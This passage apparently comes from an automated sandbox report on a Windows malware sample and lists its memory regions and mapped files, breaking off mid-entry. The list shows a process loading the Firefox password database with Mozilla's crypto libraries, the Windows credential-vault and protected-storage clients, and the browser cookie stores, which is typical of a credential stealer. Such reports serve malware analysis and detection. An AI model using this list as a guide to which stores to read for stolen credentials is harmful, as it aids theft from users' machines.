"\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 531 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0xa0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 532 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 533 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x75fe0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 534 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 535 start_va = 0x751e0000 end_va = 0x751eafff entry_point = 0x751e0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 536 start_va = 0x200000 end_va = 0x213fff entry_point = 0x200000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 537 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 538 start_va = 0x100000 end_va = 0x107fff entry_point = 0x100000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 539 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x220000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 540 start_va = 0x751b0000 end_va = 0x751d0fff entry_point = 0x751b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 541 start_va = 0x75f60000 end_va = 0x75fa4fff entry_point = 0x75f60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 542 start_va = 0x74c60000 end_va = 0x74ca3fff entry_point = 0x74c60000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 543 start_va = 0x8480000 end_va = 0x856ffff entry_point = 0x0 region_type = private name = "private_0x0000000008480000" filename = "" Region: id = 544 start_va = 0x440000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 545 start_va = 0x8480000 end_va = 0x84bffff entry_point = 0x0 region_type = private name = "private_0x0000000008480000" filename = "" Region: id = 546 start_va = 0x8530000 end_va = 0x856ffff entry_point = 0x0 region_type = private name = "private_0x0000000008530000" filename = "" Region: id = 547 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 548 start_va = 0x74c00000 end_va = 0x74c51fff entry_point = 0x74c00000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 559 start_va = 0x75190000 end_va = 0x751a4fff entry_point = 0x75190000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 560 start_va = 0x75180000 end_va = 0x7518cfff entry_point = 0x75180000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 563 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 564 start_va = 0x85f0000 end_va = 0x862ffff entry_point = 0x0 region_type = private name = "private_0x00000000085f0000" filename = "" Region: id = 565 start_va = 0x8680000 end_va = 0x86bffff entry_point = 0x0 region_type = private name = "private_0x0000000008680000" filename = "" Region: id = 566 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 567 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 568 start_va = 0x75170000 end_va = 0x75175fff entry_point = 0x75170000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 569 start_va = 0x8570000 end_va = 0x85affff entry_point = 0x0 region_type = private name = "private_0x0000000008570000" filename = "" Region: id = 570 start_va = 0x8770000 end_va = 0x87affff entry_point = 0x0 region_type = private name = "private_0x0000000008770000" filename = "" Region: id = 571 start_va = 0x74bf0000 end_va = 0x74bfffff entry_point = 0x74bf0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 572 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 573 start_va = 0x87b0000 end_va = 0x890ffff entry_point = 0x0 region_type = private name = "private_0x00000000087b0000" filename = "" Region: id = 574 start_va = 0x8910000 end_va = 0x8adffff entry_point = 0x0 region_type = private name = "private_0x0000000008910000" filename = "" Region: id = 575 start_va = 0x8ae0000 end_va = 0x8cdffff entry_point = 0x0 region_type = private name = "private_0x0000000008ae0000" filename = "" Region: id = 576 start_va = 0x74be0000 end_va = 0x74be5fff entry_point = 0x74be0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 577 start_va = 0x86f0000 end_va = 0x872ffff entry_point = 0x0 region_type = private name = "private_0x00000000086f0000" filename = "" Region: id = 578 start_va = 0x8730000 end_va = 0x876ffff entry_point = 0x0 region_type = private name = "private_0x0000000008730000" filename = "" Region: id = 579 start_va = 0x74bd0000 end_va = 0x74bdffff entry_point = 0x74bd0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 580 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 581 start_va = 0x74bb0000 end_va = 0x74bc1fff entry_point = 0x74bb0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 582 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b70000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 583 start_va = 0x74b60000 end_va = 0x74b67fff entry_point = 0x74b60000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 584 start_va = 0x74b50000 end_va = 0x74b54fff entry_point = 0x74b50000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 585 start_va = 0x74b40000 end_va = 0x74b45fff entry_point = 0x74b40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 586 start_va = 0x74b00000 end_va = 0x74b37fff entry_point = 0x74b00000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 587 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 588 start_va = 0x8830000 end_va = 0x886ffff entry_point = 0x0 region_type = private name = "private_0x0000000008830000" filename = "" Region: id = 589 start_va = 0x8900000 end_va = 0x890ffff entry_point = 0x0 region_type = private name = "private_0x0000000008900000" filename = "" Region: id = 590 start_va = 0x758e0000 end_va = 0x75962fff entry_point = 0x758e0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 591 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 592 start_va = 0x74aa0000 end_va = 0x74af9fff entry_point = 0x74aa0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 593 start_va = 0x8910000 end_va = 0x8a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000008910000" filename = "" Region: id = 594 start_va = 0x8ad0000 end_va = 0x8adffff entry_point = 0x0 region_type = private name = "private_0x0000000008ad0000" filename = "" Region: id = 595 start_va = 0x74a80000 end_va = 0x74a95fff entry_point = 0x74a80000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 596 start_va = 0x74a40000 end_va = 0x74a7afff entry_point = 0x74a40000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 597 start_va = 0x74a30000 end_va = 0x74a3dfff entry_point = 0x74a30000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 598 start_va = 0x85b0000 end_va = 0x85effff entry_point = 0x0 region_type = private name = "private_0x00000000085b0000" filename = "" Region: id = 599 start_va = 0x8630000 end_va = 0x866ffff entry_point = 0x0 region_type = private name = "private_0x0000000008630000" filename = "" Region: id = 600 start_va = 0x74a20000 end_va = 0x74a27fff entry_point = 0x74a20000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 601 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 739 start_va = 0x88a0000 end_va = 0x88dffff entry_point = 0x0 region_type = private name = "private_0x00000000088a0000" filename = "" Region: id = 740 start_va = 0x8ae0000 end_va = 0x8b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000008ae0000" filename = "" Region: id = 741 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 742 start_va = 0x8b20000 end_va = 0x9020fff entry_point = 0x0 region_type = private name = "private_0x0000000008b20000" filename = "" Region: id = 743 start_va = 0x10000000 end_va = 0x10013fff entry_point = 0x0 region_type = private name = "private_0x0000000010000000" filename = "" Region: id = 744 start_va = 0x74a10000 end_va = 0x74a16fff entry_point = 0x74a10000 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 745 start_va = 0x749f0000 end_va = 0x74a06fff entry_point = 0x749f0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 746 start_va = 0x73a80000 end_va = 0x73afffff entry_point = 0x73a80000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 747 start_va = 0x2a0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 748 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 749 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 750 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 751 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x74990000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 752 start_va = 0x74980000 end_va = 0x7498efff entry_point = 0x74980000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 753 start_va = 0x74970000 end_va = 0x7497bfff entry_point = 0x74970000 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\SysWOW64\\vaultcli.dll" (normalized: "c:\\windows\\syswow64\\vaultcli.dll") Region: id = 754 start_va = 0x745f0000 end_va = 0x7482ffff entry_point = 0x745f0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 755 start_va = 0x74960000 end_va = 0x7496cfff entry_point = 0x74960000 region_type = mapped_file name = "pstorec.dll" filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll") Region: id = 756 start_va = 0x74940000 end_va = 0x74953fff entry_point = 0x74940000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 757 start_va = 0x87b0000 end_va = 0x882ffff entry_point = 0x0 region_type = private name = "private_0x00000000087b0000" filename = "" Region: id = 758 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 759 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 760 start_va = 0x2b0000 end_va = 0x2b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 761 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 762 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 763 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 764 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 765 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 766 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 767 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 768 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 769 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 770 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 771 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 772 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 773 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 774 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 775 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 776 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 777 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 778 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 779 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 780 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 781 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 782 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 783 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 784 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 785 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 786 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 787 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 788 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 789 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 790 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 791 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 792 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 793 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 794 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 795 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 796 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 797 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 798 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 799 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 800 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 801 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 802 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 803 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 804 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 805 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 806 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 807 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 808 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 809 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 810 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 811 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 812 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 813 start_va = 0x2a0000 end_va = 0x2a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 814 start_va = 0x9030000 end_va = 0x9130fff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 815 start_va = 0x9030000 end_va = 0x9130fff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 837 start_va = 0x9030000 end_va = 0x9130fff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 838 start_va = 0x9030000 end_va = 0x9130fff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 839 start_va = 0x9030000 end_va = 0x9130fff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 872 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 873 start_va = 0x74430000 end_va = 0x745e4fff entry_point = 0x74430000 region_type = mapped_file name = "nss3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll") Region: id = 874 start_va = 0x748e0000 end_va = 0x74911fff entry_point = 0x748e0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 875 start_va = 0x74370000 end_va = 0x7442efff entry_point = 0x74370000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 876 start_va = 0x748b0000 end_va = 0x748d1fff entry_point = 0x748b0000 region_type = mapped_file name = "mozglue.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll") Region: id = 877 start_va = 0x74300000 end_va = 0x74368fff entry_point = 0x74300000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\SysWOW64\\msvcp100.dll" (normalized: "c:\\windows\\syswow64\\msvcp100.dll") Region: id = 878 start_va = 0x9030000 end_va = 0x922ffff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 879 start_va = 0x9030000 end_va = 0x912ffff entry_point = 0x0 region_type = private name = "private_0x0000000009030000" filename = "" Region: id = 880 start_va = 0x9220000 end_va = 0x922ffff entry_point = 0x0 region_type = private name = "private_0x0000000009220000" filename = "" Region: id = 881 start_va = 0x9230000 end_va = 0x932ffff entry_point = 0x0 region_type = private name = "private_0x0000000009230000" filename = "" Region: id = 882 start_va = 0x9300000 end_va = 0x93fffff entry_point = 0x0 region_type = private name = "private_0x0000000009300000" filename = "" Region: id = 883 start_va = 0x74880000 end_va = 0x748a6fff entry_point = 0x74880000 region_type = mapped_file name = "softokn3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll") Region: id = 884 start_va = 0x742e0000 end_va = 0x742f6fff entry_point = 0x742e0000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll") Region: id = 885 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x2a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 886 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x2a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 887 start_va = 0x74290000 end_va = 0x742defff entry_point = 0x74290000 region_type = mapped_file name = "freebl3.dll" filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll") Region: id = 888 start_va = 0x9400000 end_va = 0x94fffff entry_point = 0x0 region_type = private name = "private_0x0000000009400000" filename = "" Region: id = 889 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 890 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 891 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 892 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 893 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 894 start_va = 0x480000 end_va = 0x4cffff entry_point = 0x480000 region_type = mapped_file name = "signons.sqlite" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite") Region: id = 895 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private name = "private_0x0000000009500000" filename = "" Region: id = 896 start_va = 0x9500000 end_va = 0x9600fff entry_point = 0x0 region_type = private 